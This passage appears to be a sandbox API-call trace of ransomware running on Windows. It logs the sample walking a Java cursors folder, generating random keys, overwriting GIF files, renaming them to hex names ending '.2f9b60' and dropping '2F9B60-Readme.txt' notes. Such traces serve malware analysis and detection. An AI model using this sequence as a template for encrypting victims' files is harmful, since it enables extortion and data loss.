DestinationString="2cab4e1a1dd926f3f75e26e2861d291b1c8c5b6411d5c5e40d29b2acdd01657fa4fc3b1d") [0164.898] RtlAnsiStringToUnicodeString (in: DestinationString=0x369ff7a8, SourceString="2cab4e1a1dd926f3f75e26e2861d291b1c8c5b6411d5c5e40d29b2acdd01657fa4fc3b1d", AllocateDestinationString=1 | out: DestinationString="2cab4e1a1dd926f3f75e26e2861d291b1c8c5b6411d5c5e40d29b2acdd01657fa4fc3b1d") returned 0x0 [0164.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c30950 [0164.898] RtlFreeAnsiString (AnsiString="2") [0164.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86850) returned 1 [0164.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc140) returned 1 [0164.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc110) returned 1 [0164.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c241b0) returned 1 [0164.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ff30) returned 1 [0164.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a40) returned 1 [0164.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ff70) returned 1 [0164.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602c0) returned 1 [0164.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500890) returned 1 [0164.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500950) returned 1 [0164.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500980) returned 1 [0164.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050bf80 [0164.901] wcscat (in: _Dest=0x2050bf80, _Source="2cab4e1a1dd926f3f7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2cab4e1a1dd926f3f7") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2cab4e1a1dd926f3f7" [0164.901] wcscat (in: _Dest=0x2050bf80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2cab4e1a1dd926f3f7.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2cab4e1a1dd926f3f7.2f9b60" [0164.901] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2cab4e1a1dd926f3f7.2f9b60", NtPathName=0x369ff780, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2cab4e1a1dd926f3f7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205ef50 [0165.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ef50) returned 1 [0165.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c33f30) returned 1 [0165.027] NtQueryInformationFile (in: FileHandle=0x25d4, IoStatusBlock=0x369ff7e8, FileInformation=0x369ff7f8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x369ff7e8, FileInformation=0x369ff7f8) returned 0x0 [0165.027] NtSetInformationFile (FileHandle=0x25d4, IoStatusBlock=0x369ff7e8, FileInformation=0x369ff7f8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bf80) returned 1 [0165.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30950) returned 1 [0165.058] FlushFileBuffers (hFile=0x25d4) returned 1 [0166.263] CloseHandle (hObject=0x25d4) returned 1 [0183.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ae060 [0183.937] wcscpy (in: _Dest=0x1b7ae060, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0183.937] wcscat (in: _Dest=0x1b7ae060, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" [0183.937] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\2f9b60-readme.txt")) returned 0xffffffff [0183.937] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c7c [0192.677] WriteFile (in: hFile=0x2c7c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x369ff6a0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x369ff6a0*=0xba9, lpOverlapped=0x0) returned 1 [0203.991] CloseHandle (hObject=0x2c7c) returned 1 [0207.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae060) returned 1 [0207.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0207.882] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif", cAlternateFileName="INVALI~1.GIF")) returned 1 [0207.882] wcscmp (_String1="invalid32x32.gif", _String2=".") returned 1 [0207.882] wcscmp (_String1="invalid32x32.gif", _String2="..") returned 1 [0207.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205cc90 [0207.883] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0207.883] wcscat (in: _Dest=0x4205cc90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0207.883] wcscat (in: _Dest=0x4205cc90, _Source="invalid32x32.gif" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif" [0209.271] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0209.272] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif", dwFileAttributes=0x20) returned 1 [0209.272] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16b0 [0209.273] GetFileSizeEx (in: hFile=0x16b0, lpFileSize=0x369ff790 | out: lpFileSize=0x369ff790*=153) returned 1 [0209.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0209.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0209.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0209.275] NtQuerySystemTime (in: CurrentTime=0x369ff650 | out: CurrentTime=0x369ff650*=132462178141486000) returned 0x0 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x3eafa676 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x78dd8941 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x13831481 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x16f1ebe3 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x37be353e [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x920d1c1 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x129eb552 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x53593517 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x200f3223 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x12a0ca82 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x23ba441a [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x5bb14030 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x43bc060e [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x76a3cd5c [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x7dbc195a [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x5855f3b2 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x706f71d8 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x1829fe84 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x1e4a4c1c [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x19e7f943 [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x5bfe541b [0209.275] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x7569dc7e [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x506d00ab [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x13e253f4 [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x48c55f21 [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x2e6626b9 [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x45481e0b [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x69ef1d76 [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0xdc25176 [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x9c055ba [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x77ce0d11 [0209.276] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x30b1c29d [0209.277] ReadFile (in: hFile=0x16b0, lpBuffer=0x42db4090, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x369ff640, lpOverlapped=0x0 | out: lpBuffer=0x42db4090*, lpNumberOfBytesRead=0x369ff640*=0x99, lpOverlapped=0x0) returned 1 [0209.278] SetFilePointerEx (in: hFile=0x16b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.278] WriteFile (in: hFile=0x16b0, lpBuffer=0x42dce500*, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0x369ff644, lpOverlapped=0x0 | out: lpBuffer=0x42dce500*, lpNumberOfBytesWritten=0x369ff644*=0x99, lpOverlapped=0x0) returned 1 [0216.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266540 [0216.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202651c0 [0216.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202651c0) returned 1 [0216.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dce500) returned 1 [0216.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42db4090) returned 1 [0216.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0216.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0216.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431acc20 [0216.292] SetFilePointerEx (in: hFile=0x16b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.292] WriteFile (in: hFile=0x16b0, lpBuffer=0x431f15c0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x369ff760, lpOverlapped=0x0 | out: lpBuffer=0x431f15c0*, lpNumberOfBytesWritten=0x369ff760*=0x112, lpOverlapped=0x0) returned 1 [0219.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0219.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8699c0 [0219.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab700 [0219.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab700) returned 1 [0219.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab700 [0219.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0219.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0219.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0219.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0219.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0219.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce61e70 [0219.434] sprintf (in: _Dest=0x1ce61e70, _Format="%c%c" | out: _Dest="1e") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e72, _Format="%c%c" | out: _Dest="6b") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e74, _Format="%c%c" | out: _Dest="50") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e76, _Format="%c%c" | out: _Dest="2a") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e78, _Format="%c%c" | out: _Dest="d0") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e7a, _Format="%c%c" | out: _Dest="0d") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e7c, _Format="%c%c" | out: _Dest="69") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e7e, _Format="%c%c" | out: _Dest="64") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e80, _Format="%c%c" | out: _Dest="1b") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e82, _Format="%c%c" | out: _Dest="b5") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e84, _Format="%c%c" | out: _Dest="75") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e86, _Format="%c%c" | out: _Dest="e1") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e88, _Format="%c%c" | out: _Dest="98") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e8a, _Format="%c%c" | out: _Dest="ca") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e8c, _Format="%c%c" | out: _Dest="50") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e8e, _Format="%c%c" | out: _Dest="e1") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e90, _Format="%c%c" | out: _Dest="dc") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e92, _Format="%c%c" | out: _Dest="9d") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e94, _Format="%c%c" | out: _Dest="cb") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e96, _Format="%c%c" | out: _Dest="ba") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e98, _Format="%c%c" | out: _Dest="1c") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e9a, _Format="%c%c" | out: _Dest="c8") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e9c, _Format="%c%c" | out: _Dest="cb") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61e9e, _Format="%c%c" | out: _Dest="f0") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61ea0, _Format="%c%c" | out: _Dest="8d") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61ea2, _Format="%c%c" | out: _Dest="98") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61ea4, _Format="%c%c" | out: _Dest="14") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61ea6, _Format="%c%c" | out: _Dest="ef") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61ea8, _Format="%c%c" | out: _Dest="2d") returned 2 [0219.434] sprintf (in: _Dest=0x1ce61eaa, _Format="%c%c" | out: _Dest="0a") returned 2 [0219.435] sprintf (in: _Dest=0x1ce61eac, _Format="%c%c" | out: _Dest="e1") returned 2 [0219.435] sprintf (in: _Dest=0x1ce61eae, _Format="%c%c" | out: _Dest="30") returned 2 [0219.435] RtlInitAnsiString (in: DestinationString=0x369ff7d8, SourceString="1e6b502ad00d69641bb575e198ca50e1dc9dcbba1cc8cbf08d9814ef2d0ae130" | out: DestinationString="1e6b502ad00d69641bb575e198ca50e1dc9dcbba1cc8cbf08d9814ef2d0ae130") [0219.435] RtlAnsiStringToUnicodeString (in: DestinationString=0x369ff7a8, SourceString="1e6b502ad00d69641bb575e198ca50e1dc9dcbba1cc8cbf08d9814ef2d0ae130", AllocateDestinationString=1 | out: DestinationString="1e6b502ad00d69641bb575e198ca50e1dc9dcbba1cc8cbf08d9814ef2d0ae130") returned 0x0 [0219.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5220 [0219.435] wcscat (in: _Dest=0x431cb120, _Source="1e6b502ad00d6964" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\1e6b502ad00d6964") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\1e6b502ad00d6964" [0219.435] wcscat (in: _Dest=0x431cb120, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\1e6b502ad00d6964.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\1e6b502ad00d6964.2f9b60" [0219.435] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\1e6b502ad00d6964.2f9b60", NtPathName=0x369ff780, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\1e6b502ad00d6964.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x431116e0 [0222.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431116e0) returned 1 [0222.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43082870) returned 1 [0222.366] NtQueryInformationFile (in: FileHandle=0x16b0, IoStatusBlock=0x369ff7e8, FileInformation=0x369ff7f8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x369ff7e8, FileInformation=0x369ff7f8) returned 0x0 [0222.366] NtSetInformationFile (FileHandle=0x16b0, IoStatusBlock=0x369ff7e8, FileInformation=0x369ff7f8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb120) returned 1 [0223.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5220) returned 1 [0223.550] FlushFileBuffers (hFile=0x16b0) returned 1 [0224.007] CloseHandle (hObject=0x16b0) returned 1 [0224.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431cb120 [0224.940] wcscpy (in: _Dest=0x431cb120, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0224.940] wcscat (in: _Dest=0x431cb120, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" [0224.940] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\2f9b60-readme.txt")) returned 0x20 [0224.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb120) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0224.941] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="WIN32_~1.GIF")) returned 1 [0224.941] wcscmp (_String1="win32_CopyDrop32x32.gif", _String2=".") returned 1 [0224.941] wcscmp (_String1="win32_CopyDrop32x32.gif", _String2="..") returned 1 [0224.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205cc90 [0224.941] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0224.941] wcscat (in: _Dest=0x4205cc90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0224.941] wcscat (in: _Dest=0x4205cc90, _Source="win32_CopyDrop32x32.gif" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" [0226.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cc90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2474 [0226.688] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="WIN32_~2.GIF")) returned 1 [0226.688] wcscmp (_String1="win32_CopyNoDrop32x32.gif", _String2=".") returned 1 [0226.688] wcscmp (_String1="win32_CopyNoDrop32x32.gif", _String2="..") returned 1 [0226.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x43160350 [0226.689] wcscpy (in: _Dest=0x43160350, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0226.689] wcscat (in: _Dest=0x43160350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0226.689] wcscat (in: _Dest=0x43160350, _Source="win32_CopyNoDrop32x32.gif" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" [0226.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43160350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b8 [0226.690] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="WIN32_~3.GIF")) returned 1 [0226.690] wcscmp (_String1="win32_LinkDrop32x32.gif", _String2=".") returned 1 [0226.690] wcscmp (_String1="win32_LinkDrop32x32.gif", _String2="..") returned 1 [0226.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431834e0 [0226.690] wcscpy (in: _Dest=0x431834e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0226.690] wcscat (in: _Dest=0x431834e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0226.690] wcscat (in: _Dest=0x431834e0, _Source="win32_LinkDrop32x32.gif" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" [0226.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431834e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d2c [0226.691] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, 